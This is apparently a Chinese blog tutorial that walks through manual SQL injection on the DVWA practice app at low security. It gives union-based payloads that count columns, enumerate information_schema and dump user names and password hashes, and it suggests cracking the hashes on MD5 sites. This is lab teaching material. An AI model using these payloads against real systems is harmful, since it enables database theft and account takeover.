dvwa平台测试sql注入

2016-11-20 11:28:59

前言
先做个简单介绍:DVWA(Dam Vulnerable Web Application)环境演示,DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
本文所有演示操作都是在此环境中,本文是帮助用户了解信息安全技术、安全漏洞相关信息,不承担任何法律及连带责任

我们的测试环境:
测试平台:dvwa
渗透工具推荐:burpsuite
本次测试主要针对mysql数据库,针对不同的数据库平台,注入语句需要做相应更改

首先,我们此次测试的安全等级为low,先让自己有点信心吗,免的一上来就被打脸

sql注入利用一般有以下几个基本步骤:

  • 发现sql注入点
  • 通过mysql数据库帮助,获取账户密码等敏感信息
  • 上传webshell,获得一个反向链接

闲言少叙,赶紧开始吧

一般我们先登入dvwa平台,选择Sql Injection选项,有的同学要说了,用户密码是什么呀?这个。。。,其实找个暴力破解工具解决了,如果不行问问谷歌也可以哈
这里我们看到一个输入框,提示我们输入用户id,这里我们输入数字1,提交后返回了用户1的信息
它一共返回三行数据
一行是我们输入的用户ID。一行是用户名,另外一行是用户别名。同时,看一下浏览器的地址栏那里,发现url成这样了
http://192.168.100.100/vulnerabilities/sqli/?id=1&Submit=Submit#

接下来我们输入2,发现url变成了
http://192.168.100.100/vulnerabilities/sqli/?id=2&Submit=Submit#

接下来我们输入“’”时,页面提示错误“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’’ at line 1”,结果如图。看到这个结果,我们可以欣慰的知道,这个表单存在着注入漏洞。
之所以产生错误是因为,输入的用户ID中,单引号不是一个整数类型的,导致后端SQL查询产生了错误,可以想象一下后端SQL查询语句大概是这样:

1
mysql>select first_name,last_name from users where user_id=”;

在我们输入“’”后,sql语句就会变成如下:

1
MySQL> select first_name, last_name from users where user_id=”’ ;

好了,到这里,我们可以得出这里传进去的id的值是我们可以控制的。前端的该语句是会在后端的sql服务器进行执行的,这将使sql注入变为可能

在我们确认了漏洞之后,就可以构造payload了。什么是payload?说白了就是一段恶意代码,以便我们能够获得数据库里面的数据。
我们需要确定表里边有几个字段,常用的方法有两种

  • 用order by 语句
  • 用union select

分析字段数的原因是我们之后需要用union select 语句获得我们需要的敏感数据。
由order by 语法知道,要是后面跟着的数字超出了字段数时,就会报错
我们构造的payload如下

1
2
3
1' order by 1#
1' order by 2#
1' order by 3#

当输入到3的时候,发现它报错了,也就是说字段数为2。

当用union select 猜测的时候也是一样,当字段数不对应的时候,它也是会发生报错的,这里直接贴出payload

1
2
3
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#

准备工作都做好了,那我们开始获取数据库的敏感信息了:获取当前数据库名和用户名,构造payload如下

1
1' union select database(),user()#

返回如下信息

1
2
3
4
5
6
ID: 1' union select database(),user()#
First name: admin
Surname: admin
ID: 1' union select database(),user()#
First name: dvwa
Surname: admin@localhost

我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost。
类似的函数还有:version() 获取当前数据库版本,@@version_compile_os获取当前操作系统。

1
-1' union select version(),@@version_compile_os#

光获得这些信息有什么用呢,慢慢听我道来
我们知道mysql有个information_schema,这是一个包含了mysql数据库所有信息的“字典”,本质上还是一个database,存放着其他各个数据的信息
在information_schema里,有一个表tables。有一个columns……是不是有点感觉了? tables这个表存放的是关于数据库中所有表的信息,里面有个字段叫table_name,还有个字段叫做table_schema。其中table_name是表名,table_schema表示的是这个表所在的数据库。对于columns,它有column_name,table_schema,table_name。回想一下,我们拥有的信息是数据库名。也就是说我们可以构造这样的payload来从数据库里获取一些东西。

构造的查询语句如下:

1
-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#

返回如下信息

1
2
3
4
5
6
ID: -1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
First name: guestbook
Surname: 2
ID: -1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
First name: users
Surname: 2

出来两个表,对那个感兴趣呢???当然是users表啦!不是说还有一个columns表么?所以我们还需要table_name以及table_schema来查column_name。这次我们构造的payload如下:

1
-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#

返回如下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ID: -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
First name: user_id
Surname: 2
ID: -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
First name: first_name
Surname: 2
ID: -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
First name: last_name
Surname: 2
ID: -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
First name: user
Surname: 2
ID: -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
First name: password
Surname: 2
ID: -1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
First name: avatar
Surname: 2

这么多数据,选哪个呢???废话,当然是user,password啦。我们再次修改payload:

1
-1' union select user,password from users#

终于返回我们想看的数据了,不过貌似密码是md5加密过的,这能难倒我们么,找度娘帮忙,找一些破解md5值的网站来进行破解
之后返回登陆界面验证下

简单的SQL注入就说到这儿了,下次我们将进行DVWA里面的中级SQL注入


您的鼓励是我写作最大的动力

俗话说,投资效率是最好的投资。 如果您感觉我的文章质量不错,读后收获很大,预计能为您提高 10% 的工作效率,不妨小额捐助我一下,让我有动力继续写出更多好文章。